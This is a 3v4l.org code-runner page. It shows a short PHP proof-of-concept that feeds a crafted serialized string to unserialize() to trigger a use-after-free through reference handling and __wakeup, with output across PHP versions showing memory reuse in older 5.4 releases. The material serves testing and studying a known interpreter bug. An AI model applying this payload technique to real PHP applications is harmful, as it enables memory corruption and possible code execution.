3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj { var $prop; function __wakeup() { $this->prop = 1; } } $exploit = 'a:3:{i:0;O:9:"exceptioa":1:{s:17:"'."\0".'Exception'."\0".'string";a:0:{}}i:1;O:3:"obj":1:{s:4:"prop";R:2;}i:2;R:3;}'; $x = unserialize($exploit); for ($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } var_dump($x);
Output for 5.4.39 - 5.4.45, 5.5.24 - 5.5.35, 5.6.7 - 5.6.28, 7.0.0 - 7.0.20, 7.1.0 - 7.1.20, 7.2.0 - 7.2.33, 7.3.16 - 7.3.33, 7.4.0 - 7.4.33, 8.0.0 - 8.0.30, 8.1.0 - 8.1.28, 8.2.0 - 8.2.18, 8.3.0 - 8.3.6
array(3) { [0]=> &int(1) [1]=> object(obj)#2 (1) { ["prop"]=> &int(1) } [2]=> array(0) { } }
Output for 5.4.2 - 5.4.38
array(3) { [0]=> &int(1) [1]=> object(obj)#2 (1) { ["prop"]=> &int(1) } [2]=> string(3) "hi2" }
preferences:
207.42 ms | 401 KiB | 226 Q